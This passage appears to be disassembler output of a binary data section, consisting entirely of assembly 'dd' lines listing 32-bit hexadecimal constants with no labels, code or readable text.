		dd 786D2C41h, 6E35A062h, 0E1603921h, 0EE808985h, 1E50F287h
		dd 0D14C89FCh, 454058E5h, 61E862C5h, 0A06CF760h, 414A9A01h
		dd 0C9A3447Ch, 28E02DA4h, 58C868C0h, 61904D22h,	2608400h
		dd 6CB46437h, 9459D0DAh, 1B682177h, 0D538E2C4h,	8BA2FA46h
		dd 6F91231Ch, 210E3C51h, 4C9B51C9h, 0AB413C0Ch,	503533E9h
		dd 443FC820h, 192CCBF0h, 7B4114EEh, 446FC68Ch, 0F21FDEC4h
		dd 72561090h, 3617160Bh, 0E927A4A4h, 2A49164Ch,	0DCD064D0h
		dd 0CE28C0DFh, 8780698Eh, 0CB724039h, 0DD2BFC91h, 20AE4052h
		dd 0C3A89BD0h, 0F2544F80h, 10CE5885h, 0F0AC932Ah, 1824A938h
		dd 0EC9446F4h, 98445493h, 36222547h, 0D8171870h, 0C081FF4Dh
		dd 0B0572A50h, 400BE685h, 0D03C818Dh, 423450Dh,	0A5214446h
		dd 0DC528B11h, 490938Bh, 4A35424Fh, 0F4A880F3h,	48A1ED22h
		dd 441A89Bh, 1891266Ch,	1E43868Bh, 0C3BBA321h, 1CA39322h
		dd 62198A82h, 1B184009h, 0F68AA2EFh, 80F4BA4h, 4099EB86h
		dd 8B893621h, 0FCF1B4B8h, 50EE9C28h, 3E5AC383h,	0C408210h
		dd 38C81A4Eh, 2D1F1EFDh, 659380B4h, 41302ED4h, 5BFE9E00h
		dd 0B9EBB054h, 0A47812B1h, 5390E48Dh, 1AEA1102h, 80844E68h
		dd 554C41C4h, 0CBBD0963h, 48DA3295h, 0F2B95000h, 4CEE82AFh
		dd 6FF501B2h, 23BD8CA9h, 0D4022F37h, 0DE8754DBh, 4A558050h
		dd 80BF2489h, 0A20085E8h, 7B51DAE0h, 166E77h, 8F676C4Ch
		dd 6527FC92h, 0DA0EF7E6h, 87C0CA45h, 0B109041h,	0ECD54C3h
		dd 0E8B892F8h, 0A308CCAh, 0FB11732h, 260910ABh,	25A9A4CBh
		dd 0C4F2F8D6h, 46B0FC00h, 0A38DA260h, 48D00099h, 7CDE9105h
		dd 4400809Ah, 3814AC8Eh, 298C9FDBh, 7004E0BFh, 0C560A938h
		dd 94582C10h, 3778187Bh, 209721E3h, 8F22B003h, 0ABA28E7Fh
		dd 0E93AE09Dh, 34B50343h, 0D7CFC083h, 709E483Ch, 282C4432h
		dd 3FF90499h, 8150E329h, 3AD2C080h, 442183FBh, 0D8FE940Ch
		dd 31210BA9h, 0EA184FE3h, 37398C97h, 180B4193h,	18AFE301h
		dd 80610CB5h, 0EA41A539h, 7FD05180h, 67C2C4D4h,	839FE500h
		dd 44A13C5Eh, 0C0780157h, 4BA55FCAh, 709185DAh,	985EFAEEh
		dd 34C0581Fh, 29DED662h, 15DD0695h, 0E0311794h,	98A8B500h
		dd 0BCCBB6E7h, 4C3305Eh, 0CD018F19h, 0ED76D3Ah,	0A0E1702Eh
		dd 0E3C43CA9h, 1849F8D3h, 0CCD1E9Bh, 0EB7D4116h, 0A724C906h
		dd 4C08CAF4h, 43003EE2h, 0DD917D0Bh, 182B9420h,	69984CDAh
		dd 0E45298B8h, 0FFE0A4EBh, 0EF6C03E2h, 2104480Ch, 8166F0B2h
		dd 9D3511BBh, 1816AC50h, 0A48D0526h, 0C0DB418Eh, 195FC41Bh
		dd 5CE8B650h, 0E2B2171Ah, 58E01020h, 0E97B799Ch, 1D7CC3D7h
		dd 19151818h, 0E0D821B0h, 0C5613A95h, 1C1E0971h, 0C888FDEh
		dd 0E5448C2h, 789D01A8h, 0B8FFEA06h, 1103C1E0h,	18A2E009h
		dd 887101F2h, 0B17ADA43h, 0C2DBF010h, 0C1AFEB30h, 1C172AF3h
		dd 3625EDDh, 0D90A57F2h, 801893A1h, 0CA9D8C69h,	204EA558h
		dd 0C43143FEh, 4416106Dh, 425E8200h, 0EBEC5800h, 8EC8CD2Ah
		dd 0E23A37CCh, 761FA3C1h, 0E61CD1A1h, 0AD557448h, 7390BCA8h
		dd 0FF62B91Dh, 0CFC36686h, 8D630779h, 0E710BB67h, 9EADA15Eh
		dd 0ECB08F5Ah, 0BD8E46Fh, 21372C82h, 47F31D58h,	0FAC1408Ch
		dd 85023962h, 38E36F1Eh, 0F0C0A07Bh, 771DF5h, 0F70412D1h
		dd 1BD015A9h, 6A12B091h, 2C171C46h, 88D85159h, 118014E1h
		dd 25CB1DA2h, 9B482B27h, 0D4AA290Ch, 6FBF789h, 0AC518BA8h
		dd 1C503A60h, 4E0F21E0h, 6C0A8B35h, 0C0447C1h, 0EB072303h
		dd 0C3914C7Fh, 0B33612h, 87A05820h, 0CD4CDC97h,	5F5A01ECh
		dd 0DEDF6905h, 14831458h, 30414E23h, 9FBE1C10h,	7F89A607h
		dd 8D1BEBC1h, 2AED688Eh, 231683C0h, 0C50745D7h,	571287A5h
		dd 9BEB7A11h, 8E9048h, 0E470DEEFh, 0A61AB581h, 0CD24524h
		dd 88E58289h, 105E2868h, 0E8F78E8Fh, 42F03999h,	59181518h
		dd 3A2AA5D5h, 2403C0ACh, 5CC46F83h, 9B610095h, 8DADFB14h
		dd 1C2402D4h, 2E641C99h, 0A93FC034h, 0A4285D9Ah, 6B2198BFh
		dd 8D4608FCh, 62881837h, 1B118AE2h, 0A040AE0Ch,	91B53880h
		dd 0E0A1E8B3h, 0A18056DBh, 0EB0C2918h, 85920DCh, 0E921C7A4h
		dd 8A96003Bh, 81005464h, 0A7073927h, 92D0C4C6h,	0D6E4008Ch
		dd 0EBC5DBABh, 4D2858F2h, 13E4816Eh, 12003072h,	0C42CD94Eh
		dd 52B4639h, 91B72058h,	5444238Fh, 59189B80h, 0DF79448Ch
		dd 0C5014170h, 0D19F2C95h, 24981Bh, 0EAF01F9h, 82334345h
		dd 0AEBAE81Eh, 4F05709Ah, 0C3761198h, 0CB84805Fh, 0D8C08F94h
		dd 0A8C687CDh, 261C4BFCh, 68FD44h, 9B7560Fh, 100C196h
		dd 5DA75970h, 9AC26C04h, 0D9BB0A78h, 782042EFh,	9543FEA4h
		dd 429F6A03h, 0F100DC37h, 0ADD2E5C0h, 196DEB4Bh, 8DB63CBh
		dd 0A22180AFh, 0A85D2EDh, 0DE2A2A94h, 0EB913EB4h, 0F66788D4h
		dd 0EEB900BBh, 77A6442h, 0C0015DF8h, 7EAA0DE7h,	0B440A316h
		dd 28AEAF13h, 2284B260h, 0C8908B0Bh, 0F0BDE444h, 0C0C930EFh
		dd 5E98DF11h, 0C5A542Ch, 0E6423D3Bh, 21D108h, 125E707Fh
		dd 683A0B79h, 0C330B4B2h, 0EACF21CCh, 0C7990158h, 1425C45Fh
		dd 583BF165h, 0D208E880h, 0C4D34BAAh, 0F0A340ACh, 3E6918D2h
		dd 0B061CE1Ah, 0E23417h, 55BCD42h, 76D6F7C7h, 23602EB5h
		dd 916700D3h, 0F1BF0ACCh, 8771D501h, 79805646h,	94426031h
		dd 0C0533192h, 5146189Ah, 3CE2A322h, 0A67F70E0h, 365C020Fh
		dd 0F11363FAh, 404589F3h, 2DE170h, 0DA105911h, 728F3CA0h
		dd 0D5C4BF19h, 76C83D99h, 16070715h, 0E02ED22Dh, 5F726C14h
		dd 0BA1B33Fh, 100B93F5h, 0D1A2DCh, 0ED582E90h, 0E5059E6h
		dd 342DEA09h, 601C448Eh, 9D4D317Ch, 6F071DEDh, 0BBA09B9Ch
		dd 0A985BA90h, 0C5105B7h, 5BF5A39h, 2124A21Ch, 0FC45A1A8h
		dd 0E4A10B29h, 8F1183Eh, 0CB4BA9D2h, 1B99E70h, 58091D2h
		dd 0F0A469EFh, 0FA018D2Bh, 7BCA804h, 0C460C9A2h, 1EE89118h
		dd 0B0B340F6h, 0BBD6723Ah, 89CE2631h, 24226ABFh, 8030AFF2h
		dd 0C720008Fh, 84C2DDBAh, 4B761142h, 1EBE5F01h,	21D1CBD9h
		dd 0DE094829h, 2840C590h, 79D0A109h, 8CAEAC7Ch,	0C7330BE6h
		dd 0D002702Ch, 1314C60Eh, 145352E0h, 0F0235C50h, 0C45E9B0Fh
		dd 0D662845Ah, 5E738220h, 8BB03F43h, 6A00C33Ch,	3B958D0Fh
		dd 0A0168FCAh, 8C23078Eh, 3770A04Ah, 6C11C091h,	24E91DA7h
		dd 9BBC8B0Ch, 0C07D090Bh, 1D8F4C21h, 0CC034245h, 3AAD4402h
		dd 4AD11FB3h, 897F00B9h, 8A683858h, 969A8200h, 0C0E97448h
		dd 1D809499h, 87120CB0h, 0E3AC4B1h, 0B490FE1h, 196F8C1Ah
		dd 75C2C40h, 559D81F4h,	436020F0h, 7113DDB8h, 2830890Fh
		dd 16DD8D4h, 83C3BB3h
		dd 87C83A2Ch, 21FCF829h, 934000EFh, 142FEB8Dh, 0E045834Ah
		dd 7D85A29h, 0B054117Eh, 0D144045Ch, 0BE2CE49Ah, 0E20818CBh
		dd 0A84C83E3h, 4011903Ch, 6C58D9F4h, 0D6A58408h, 3E6C0038h
		dd 0EC348EB2h, 405906E7h, 208B8036h, 0DC289F02h, 9CF9EE70h
		dd 3D8F2320h, 0F640AC2Eh, 1C3F477h, 0C699E116h,	0E2C9EED1h
		dd 0A96F84A0h, 3207ED3Ch, 1854D08Fh, 37A77E00h,	3141C0CBh
		dd 0CCE70195h, 0C5A34B1Fh, 3DD320C0h, 0B057E53Fh, 0A5392A08h
		dd 0BDEC1FF8h, 0BB1C0ABh, 0B3994371h, 0D9100901h, 2ABFA950h
		dd 0A078E3DAh, 9C98E405h, 0C8C3E34Ch, 7200117Ah, 0BC838BA2h
		dd 2405A51h, 4E297D1Dh,	48E49222h, 0F9BE0620h, 4A179470h
		dd 16AC1E8Dh, 6B5801DDh, 0D9144A33h, 5828A6F3h,	64AACF08h
		dd 0C8A45CC4h, 0CB5EB503h, 832009ADh, 0E440D838h, 523F5A2Eh
		dd 0B3190043h, 0E2B524C9h, 98D079EDh, 0B4D4E3E0h, 588E047Fh
		dd 0C760AC0Fh, 0CFE631F8h, 0C5E4707Eh, 440C4528h, 5CC02882h
		dd 31C7AE5Fh, 0C3230F5Eh, 4B800495h, 83F5B02Ch,	8BF1232Ch
		dd 1188282h, 0E4641Eh, 0A6BE4ECEh, 0B76D80h, 451397D9h
		dd 0B1FF7EB5h, 123794A4h, 0FC3300Dh, 0D5A4C14Ah, 1A4E2C74h
		dd 706C8CD2h, 1BF38C1h,	8C4892C3h, 489845h, 6099DDEBh
		dd 847B7458h, 2109EEE8h, 90E347D3h, 0B88BE1E8h,	7C11FCC8h
		dd 0D1B0A14Ah, 937A0810h, 6844A526h, 3E355D43h,	2901A248h
		dd 0CB76AC9Dh, 2119C4F8h, 0A0D4EB27h, 0F7D31E1Ch, 96D8B08Bh
		dd 903A93A4h, 9F9135E4h, 36E0DA0Fh, 0A94D868Ch,	0CAEB2560h
		dd 74B75081h, 0C3BC4009h, 40DEA2A1h, 0F892808Ch, 4FE41CEBh
		dd 19B91236h, 995292Dh,	0C871F130h, 9642D828h, 40092485h
		dd 70395653h, 57400050h, 5134E96h, 3500CA83h, 4BD91F4h
		dd 7C99F01h, 0BF305543h, 313B906Eh, 18000E87h, 13F7A238h
		dd 0D69228h, 2659ECF4h,	11BCE033h, 1FB05D00h, 6036E6F8h
		dd 78750E47h, 4661DD3Eh, 0E0A4BBF3h, 0EF0018D7h, 2922BF85h
		dd 3B7CA261h, 9940378Ch, 142F3B1Ch, 1309F840h, 609E2EEBh
		dd 0A79C30A0h, 0FC1C9D33h, 1283DE71h, 0B007DB70h, 1EDC5416h
		dd 9F5F8Eh, 0E84959AEh,	13E24240h, 3E51A107h, 79407074h
		dd 435DDCh, 15242FC1h, 478AF81Bh, 615A6D00h, 42637C1Ch
		dd 0D450075h, 7B654DBh,	970084B1h, 677694EAh, 0E132F2Bh
		dd 22DB6C36h, 86B9200h,	3097E62h, 808FFCB6h, 2C10E0D2h
		dd 833402DEh, 2F41779Fh, 15009850h, 0F2B888E4h,	968EC1h
		dd 92BAD21Ch, 85C5C338h, 0D6142B00h, 0A35137FEh, 2CC103E6h
		dd 168F08A1h, 1FAA81C0h, 0DAADAE00h, 694727CFh,	0A51900B9h
		dd 0B1A0BEBDh, 4D7774ACh, 58443A01h, 5C5F181h, 83C401C5h
		dd 60B4A84Ch, 0D4400D7h, 0CCAAF88Dh, 0F200A42Ch, 7D8538EBh
		dd 7B3DBB57h, 0F220048h, 9D1B027Fh, 0B97E957Ch,	0F3975F00h
		dd 0BAEA17B8h, 0EB5E0EB7h, 0DDA0CA03h, 2BA2AB20h, 77A8C000h
		dd 88C8B316h, 0FB520079h, 0AF34684Bh, 0FCB2BA29h, 9880D400h
		dd 89FAA61Ah, 2E56000Bh, 0E658E9E4h, 3E006537h,	0E59AEC6Eh
		dd 0EAA7DBh, 0AF972DFEh, 0D881CE2h, 10032492h, 7837848Ch
		dd 51024EEh, 0ACDF0034h, 473D1545h, 0F13F820Dh,	0AF42172h
		dd 40C3037Ah, 338AE9CDh, 0FF9507B0h, 0B1271400h, 7C29F12Ch
		dd 0CA6800B0h, 0DDD9F508h, 0BA03D4A7h, 0AEE6CD56h, 1E17B979h
		dd 44A85081h, 7076E95Ch, 1F90DF44h, 0ADB0E3FDh,	6C1E5556h
		dd 26833552h, 0B48232A7h, 0CE261EFFh, 27802A4Dh, 0A6D4EE53h
		dd 58C74700h, 3CF1AF1Dh, 8EFB0074h, 85E8C9E1h, 0B31415BDh
		dd 2ED95F2Dh, 7B8018A6h, 7858415Eh, 763F7648h, 8A6B0056h
		dd 995C3D52h, 9000F45h,	3F1B51A7h, 66E748h, 7CD9326Ch
		dd 9BC02F56h, 300B5F00h, 0F4BCBE8Ah, 0E8284831h, 6539B400h
		dd 0FD7082D4h, 80600A38h, 0A3F4C7E3h, 7240B666h, 1A913C3Ch
		dd 9E29E100h, 0FF5E1FDEh, 96A97800h, 0B49CEB01h, 0DFDB38EFh
		dd 70AC4083h, 44F00F97h, 1E02FE99h, 0CE1F90DCh,	84A48EF6h
		dd 8C0792Eh, 9F042DEh, 26B112AEh, 57805809h, 41A4507Bh
		dd 29137430h, 228CA8Ah,	352945D5h, 0BE05495h, 55008B27h
		dd 12560444h, 57702Fh, 9199A9D4h, 0DA3D6B29h, 0F1D31809h
		dd 7BE060E7h, 8570FAh, 2EB7F8A5h, 2A9308BBh, 0C281C71Ch
		dd 0AF9CD6C0h, 7FBA2B6h, 18281AC1h, 249A18Dh, 712CF4ABh
		dd 3C7BD703h, 80832061h, 0BEFED8h, 0F38D6A72h, 0B589E688h
		dd 0F8560600h, 7B3B5284h, 9AB1000Ah, 6B28E9BDh,	5F3B5C09h
		dd 0DB250116h, 607958EFh, 607C9820h, 0E1DA931h,	4200FE8Ch
		dd 35911A76h, 28927AE2h, 71886209h, 729CE60Fh, 0E0FB0384h
		dd 9808C7B9h, 0E7D7FC0h, 466C26h, 2367E980h, 70C164A4h
		dd 0C0C401BFh, 38429A5Dh, 0EA83F008h, 1BF81E00h, 0A7AD2679h
		dd 0C8609D8h, 21003887h, 34C86ED1h, 0DEA42400h,	81838A52h
		dd 0B0E061Bh, 90EDEE5Bh, 12456100h, 0F26917F0h,	0CE1A0078h
		dd 0BDEAE89Ch, 237F4AB9h, 0B55E2002h, 50BA96DBh, 95DA03D8h
		dd 7A29EDA5h, 0B3FA11D8h, 820F8C12h, 0E70DE04Eh, 59CF60h
		dd 0DFB29F5Eh, 0B15B00C3h, 9C1525DCh, 174F4670h, 7ABD1803h
		dd 0A8DAC83Fh, 0C46E0065h, 0E06A5178h, 5D1E688Bh, 0B6C0DDD3h
		dd 2E3B89DFh, 58640F48h, 7A607630h, 85574D49h, 782D500h
		dd 0B1267FC3h, 7DB898AEh, 98901F6h, 0C012118Eh,	83483402h
		dd 0E4482909h, 0F8EC000Ah, 1808C4DBh, 20EBB42Bh, 8F1F469Eh
		dd 0E1408C48h, 5F799154h, 0A0680059h, 0D0C49AF8h, 0E93EBECFh
		dd 402D8044h, 83FB757Ch, 1F42045Bh, 0C5E8B9D1h,	2EFC015Ch
		dd 0ECE28B71h, 0E103F6B8h, 0E8DDF1B2h, 21CB0BEh, 7A8D00DFh
		dd 40ABBC13h, 87720475h, 450DC24h, 18CC6E0Ch, 0B72C4C2Ah
		dd 9F96D500h, 364B6D54h, 290A601h, 2F95AD17h, 0B839EAC0h
		dd 3D7890B6h, 0AFA8F6BBh, 0ABB300F4h, 43DB30D3h, 0D7147FCFh
		dd 1E8C722Ch, 0C024DF32h, 5E00CA26h, 44DE2A62h,	98F427h
		dd 20165E6h, 0B7F7F1A2h, 0B949FA00h, 2DE3C88Dh,	38E40BFFh
		dd 65009793h, 0EA96BBF0h, 4C59900h, 0A8E0F428h,	530F0046h
		dd 0BB25FBB2h, 0D7072673h, 35721892h, 44F39310h, 0CB380062h
		dd 0FC4E2BA9h, 0B70061C0h, 2DDD40B2h, 99F0D11h,	98F921Ch
		dd 0CFC2B603h, 0B3F306B8h, 0D8E83400h, 2BB09DCAh, 6BAC0F52h
		dd 41F6770Bh, 0B18EA760h, 0C38CC81Ch, 80149A4Ch, 0E3DEA5BFh
		dd 0FBB000D2h, 0BDE7BED3h, 647353AEh, 1448049h,	0E36D5873h
		dd 3CC45DDFh, 0A30C13ADh, 0B61C01FCh, 0C892FD9h, 979E0902h
		dd 0BC8961C8h, 863FE400h, 0B0422B2h, 0EB6B47E4h, 0DDBC3090h
		dd 93562691h, 68508F20h, 0FE95867Ch, 0B8B0B809h, 0E9C8B90Bh
		dd 43640463h, 44AA28C0h, 0E6F41Eh, 0A4EDF2E0h, 0BDE1DCF6h
		dd 0B56AC205h, 0D8D080F4h, 58BC8F9Bh, 516777C5h, 413DD092h
		dd 0CC614BEAh, 7E636689h, 811C0028h, 42D6422Fh,	58648415h
		dd 0F741200h, 0F8061898h, 8F4BE8h, 0AC80CAB0h, 0B23F6689h
		dd 0C3C4890Eh, 75188973h, 86879100h, 1092FB32h,	6005494h
		dd 6AEE8FCBh, 0BEB0056h, 0A27675CAh, 241FBA54h,	0A767622Ch
		dd 0DF9011B4h, 1DEB612Ah, 1D991894h, 0CEAD0970h, 79A79CC9h
		dd 992A198Ch, 72D18129h, 4A42B3D0h, 203C911Dh, 84A0C6CBh
		dd 407BAF4Ch, 0DC5A3Ah,	0ADC4B73Eh, 96D006h, 1142D71Ah
		dd 0E1FD1BA3h, 951CBFF0h
		dd 8BC0EC3Ah, 4267DD7Bh, 0E0B005h, 0B3204EDAh, 81509ABAh
		dd 2F0CCDF8h, 704F5282h, 780A00AAh, 0E6EEF22Ch,	0A11F3024h
		dd 0BC452AEBh, 4800D920h, 6F057290h, 0A8F107F8h, 20BC9B5Bh
		dd 97A3445Ah, 0C8AF0B0Eh, 0DB242389h, 6DE80216h, 1C42B218h
		dd 32D270A4h, 8F3403D7h, 486259A2h, 0A9381400h,	4300F7F3h
		dd 0DED28716h, 4DDC171h, 0E412295Ch, 1BA0E580h,	0ACC38304h
		dd 3A100CDFh, 68189C94h, 8657993Dh, 8E938DEh, 0F2440080h
		dd 3A8E7F9Eh, 9F068822h, 4D6F6B34h, 3FDD4229h, 4026C4FCh
		dd 8200C486h, 90E26857h, 0CF465Dh, 0EB428AE1h, 1BB595D4h
		dd 0AEA6E600h, 3673A2E7h, 1E5C7270h, 67FD8h, 7E0F9AD1h
		dd 0FF028AFDh, 0A92EF7FAh, 0A918C3B2h, 0A8206170h, 12A098BCh
		dd 97CE81Fh, 0AC01F30Bh, 0CCF1CCFCh, 0F473A601h, 8872D14h
		dd 0F5C085BCh, 0E9F18090h, 341B053Dh, 0C1C9DDE7h, 2090E5B0h
		dd 0F60B64B4h, 80634075h, 0ACB59E69h, 35501429h, 6200EBBDh
		dd 0EAEF83D3h, 0C00BFECCh, 8076A23Bh, 436A78E8h, 7D9F2A02h
		dd 96327DB8h, 0F0C4A6E0h, 88000BDFh, 0C5D0E63Bh, 957D7Ch
		dd 0DD92E86Ah, 1AD6C3DBh, 0EA983A13h, 0F2C10C5Ch, 0D7656A8Eh
		dd 95B160C6h, 0CB7302DCh, 59E257F4h, 644FCC0h, 6F1C29FEh
		dd 0C3CE0469h, 187DE548h, 83F5C000h, 1DA7AF2Fh,	40E70955h
		dd 0F0B22032h, 1F025B63h, 0B5965A3Ch, 98AC8071h, 76F02BBh
		dd 729A763Eh, 5C60E086h, 0CA02F120h, 19F3185h, 0D880CB42h
		dd 0B014DDh, 0A6CCCCDh,	8E30194Ah, 0F4B00BE8h, 8D4BB500h
		dd 0F7F4E180h, 0BEEA00CBh, 7BAB52E6h, 4E135D9Fh, 0BEEB7ADh
		dd 0FB001438h, 0A50453FEh, 68CD2A0Fh, 194CC0FFh, 7CF9D1C9h
		dd 862F12CEh, 3E74407Dh, 45085342h, 1D0B4814h, 0A28202DCh
		dd 604F4D13h, 3B16CFC9h, 9900B624h, 46357A5h, 50005A3Dh
		dd 0A7443A54h, 5FEC38Ah, 33EFA966h, 31ACD09Eh, 0B1002801h
		dd 0C31D172Ch, 8A072Ah,	64F4C6ACh, 65E7B3DFh, 0F220F80Eh
		dd 549DA003h, 477874h, 345D7E66h, 64597D51h, 3586611Fh
		dd 3F21074Fh, 0BAFF6E81h, 5428E68Fh, 2CFC292Ah,	85708943h
		dd 0D00F8B11h, 95B8F990h, 609A220h, 754D3191h, 403E113Eh
		dd 1D4858AAh, 3780B3B2h, 0D5665565h, 18546016h,	4A632DA9h
		dd 31183D03h, 0CBE0E9FDh, 0DDD1249Fh, 84183BDCh, 0B8DA3012h
		dd 0DF7EC200h, 38D7D6CEh, 0C0E8047Fh, 0C0ECF96Dh, 556FBCBAh
		dd 0B105FD00h, 973FB6C4h, 0D0D90EEEh, 76A0E4CCh, 7C3AE1F7h
		dd 4065351Ch, 0BE31C200h, 2E72842Dh, 0C2B708h, 0C5A6E29Dh
		dd 95134543h, 8C408B3Fh, 0B080EBFDh, 1CEA4C1Ah,	92BA0400h
		dd 9DCD20AAh, 1E7B13E2h, 4B1FF604h, 0C6C1EE7Bh,	5680F099h
		dd 179209BBh, 0C21695C6h, 0AB04FFC7h, 28C0B1F1h, 0B1C998B6h
		dd 363400D0h, 0A4661B0Fh, 7B919A0Fh, 0D54DA0F7h, 48874493h
		dd 0E507E9BEh, 0CF7939E1h, 30D92CA0h, 18760F8Ah, 80FBB638h
		dd 0A4B30128h, 7534A3h,	4AF61447h, 20D08CB2h, 9D350600h
		dd 4CD33B19h, 29A200A9h, 0D1783AF6h, 5C005D52h,	0B124D584h
		dd 2E1E8C2Bh, 0F80C8CFh, 8846CBCCh, 0EC0180D9h,	2D433739h
		dd 9FE817C0h, 0E27B0138h, 0F8C313EFh, 0CA18802Eh, 32FBE9E7h
		dd 0EE40064h, 7884D9AFh, 0A30E0470h, 4022C02Fh,	0D2B9AEDFh
		dd 92FB3E82h, 90515A80h, 0A0241A34h, 0B0022100h, 22F32532h
		dd 0FF390075h, 97941979h, 7C0391EAh, 604C0CABh,	0F22BB8E3h
		dd 0A2F6A006h, 83D907BEh, 4448A3F0h, 77C6C0D2h,	2CBA0134h
		dd 146D1F00h, 96F89350h, 3E0C0345h, 0F0AC786Bh,	0B835D280h
		dd 501C9F00h, 4ADBBD22h, 1B5708Bh, 5F6E527Dh, 0CA48C754h
		dd 5394C05Fh, 0EB180057h, 5BE01EDBh, 231C5551h,	120C36ACh
		dd 0F2F3586Dh, 0EFA03A4Ch, 66BDB580h, 0F60D9616h, 0B6A60316h
		dd 0B957000h, 495875h, 9C99C576h, 43152F85h, 0DA9F6000h
		dd 5181CD80h, 0FCEF411h, 76B348BDh, 0B92D900h, 211D6305h
		dd 232F541Ch, 9C165BCh,	31BF8662h, 0B3289CD2h, 5213AAF4h
		dd 58302CEEh, 0C2A062h,	0AADA03B2h, 386728E9h, 5E6EBD01h
		dd 13FFA6E3h, 9F00682Ch, 6D8EF406h, 290084FEh, 9192C6E7h
		dd 3083D822h, 8B817AFFh, 0BD00D2CEh, 0CBD0F808h, 0BBC8E6h
		dd 0ECADE2F7h, 0D7BCD60Ah, 8BE1130Eh, 0F67720CDh, 69BFBDh
		dd 50C0E7CCh, 409CF0EBh, 2B3D1A76h, 323A7604h, 0D6CB80E0h
		dd 196C82D4h, 58A102F6h, 1D6A4909h, 44A89448h, 240625F4h
		dd 0A5794195h, 6D5C00C0h, 31902A75h, 3E03AD1Ah,	2E50776Ch
		dd 0F621C0F9h, 1DAE2D4h, 8FAB9FF3h, 5752394Fh, 0D996309Ch
		dd 941CBDB4h, 0A487F2CBh, 0CD20EFF7h, 0ADCE6h, 0F58C0359h
		dd 4B76C41Fh, 89F65C17h, 85DC4440h, 81E8EA45h, 9B90DB44h
		dd 7200BEE6h, 96C901AEh, 0B25815A6h, 6D6704D0h,	0A49EA71Ah
		dd 714A4064h, 1E87AC2Eh, 8B4BE0B1h, 0FE125A78h,	1490CF21h
		dd 9CF140h, 0E3BCFB0Dh,	21E95A3Eh, 0F010CE54h, 2401F381h
		dd 0D0EDD1C3h, 5D4A6225h, 3D0BD445h, 4980F8D7h,	3A9378ABh
		dd 0B701834Bh, 0C171DBCBh, 0A3E4EB45h, 0D3307E44h, 0EB2340F8h
		dd 991E3ABCh, 49F2DC03h, 50069D68h, 0B7BC45Ah, 677A0h
		dd 4E2286EDh, 0A49A63D7h, 0A5958800h, 7BB45866h, 2170AE3Eh
		dd 2A189D09h, 1024B9C0h, 83696221h, 0FFDF0111h,	3894EB90h
		dd 0F7F10139h, 56877343h, 829028D7h, 2069EA17h,	1E953FFh
		dd 0FD875500h, 79F9DAD5h, 690400B6h, 7889A6C6h,	9F00D723h
		dd 0EF1F92C7h, 0A93982h, 0E313387Bh, 2399CDE0h,	24CEF107h
		dd 6400A5ADh, 7AF49FD4h, 384B0452h, 0AC2E5D06h,	4D06844h
		dd 0FB2A585Fh, 0C4C61D06h, 1718E1FDh, 0C1D38AB7h, 11681CC4h
		dd 0CD11864Bh, 0E1B7018Fh, 0D02921C7h, 9099CA08h, 0E24184A1h
		dd 1747E448h, 849590F8h, 0D848F06Dh, 24958D42h,	0EDEC2109h
		dd 11678C11h, 0FD129176h, 89BA9610h, 44DF0880h,	2284D1ADh
		dd 9442E5F6h, 21A24B11h, 0BD2A08C5h, 11504894h,	3921A099h
		dd 94BE4908h, 0A221143Ch, 0FE842D10h, 4F7048BCh, 190A108h
		dd 51CB519Dh, 0A72880A0h, 0B02A9B6Ch, 54810072h, 300D629Eh
		dd 0F800601Ah, 0E9663763h, 2C75434Ch, 9640E697h, 0F22905F4h
		dd 0D5B4A0C9h, 1B06E81Dh, 237BFCC1h, 0F3FC7E7Dh, 6FAD000Fh
		dd 3026A8Ch, 0F500BB26h, 2EBE9DAFh, 1ED6BF4Ch, 536287F9h
		dd 0E3DD00BCh, 9FDECFC2h, 0DFBBB200h, 370D0E50h, 0C0853FC4h
		dd 89E85300h, 473C1462h, 3D546700h, 0B8BADC3Bh,	2C0D0419h
		dd 0C383A429h, 0A3D072B0h, 260080D9h, 0FE61A041h, 4E842A98h
		dd 0C670927Eh, 0C30D8C6h, 0A581786Eh, 0B74C005Fh, 496340AAh
		dd 0A700D72Ah, 6187353Ch, 61DFEDDh, 0E78BAFA6h,	570B48A0h
		dd 9B76FABh, 7538A90Dh,	84CFB01h, 0BA3C3020h, 0DB78C709h
		dd 79FC401Ch, 395B0037h, 81E45743h, 0EE003F35h,	675E0892h
		dd 9792DBAh, 78DD6428h,	0AF6F3460h, 650B1E00h, 7A85C95Fh
		dd 2770096h, 3549EAE4h,	0E1008E33h, 5C2E6638h, 1FCBC809h
		dd 7A36126Ch, 0ED165880h, 5421D4A9h, 0E9D10600h, 9E7B4DDh
		dd 43BA0032h, 885CD51Ch, 0FE00787Dh, 49254293h,	1DCDD4F8h
		dd 80596379h, 1B26BFC8h, 89059783h, 6D684BADh, 0B7A68C0h
		dd 0CF6E8011h, 3C519400h, 5BF00369h, 21B0606Bh,	85954F42h
		dd 5AAE5303h, 0C8493313h, 0AF5C3Ah, 40E2E3D3h, 0CA7324EAh
		dd 12C954Ch, 9ACB1C55h
		dd 2B2260h, 0A33D13BCh,	2780100Ah, 0BF190017h, 0C147E5F3h
		dd 38001881h, 223A7B87h, 3A45A898h, 55816411h, 4CEDE9CAh
		dd 4250203Dh, 0AB002373h, 0AD409D72h, 4452947h,	1FC9C0F4h
		dd 9C981C5h, 61102434h,	0DBD64300h, 0EC6E1BEEh,	7217E64Bh
		dd 1C7C49D5h, 0AF32F20Fh, 0BA9D29E8h, 0BB662AC7h, 8634D600h
		dd 24EA78B3h, 2605F47h,	577F275Eh, 6C04A069h, 14D8970h
		dd 42E43455h, 7490020h,	0B3C5EA9Ch, 0E0811161h,	1D1AD88Bh
		dd 0C8000298h, 9E0FC6A5h, 0FEC5AA9Dh, 0ABCC0FC7h, 7480374Eh
		dd 8C0BCA95h, 3A7F7A0Fh, 65AA4E3Fh, 0D8005657h,	0B592B90Ch
		dd 0AF7A1Fh, 0A38A6B5Fh, 0C12E7116h, 0EE7AB00h,	0E1389E1Ch
		dd 0B6FE007Dh, 4A84DAF4h, 0ED006B0Bh, 60DECECDh, 52FF37h
		dd 2D74FCAFh, 4F07ACC2h, 0AD730900h, 8A29F325h,	0B0670945h
		dd 2850C5C1h, 10BC971Fh, 7EFCF654h, 0B635AD08h,	3061009Ah
		dd 465C96D7h, 0DA734D00h, 0F69F3936h, 8E143923h, 0AB151B80h
		dd 0B533A20Fh, 80248D38h, 2E36778Bh, 21A46Ch, 3194682Dh
		dd 58E9E5B6h, 213E3840h, 0AA096A2Fh, 0C0788E7Ah, 24753957h
		dd 9B926D1h, 25B7005Ch,	8FC1B214h, 0F8B46C98h, 0A100F420h
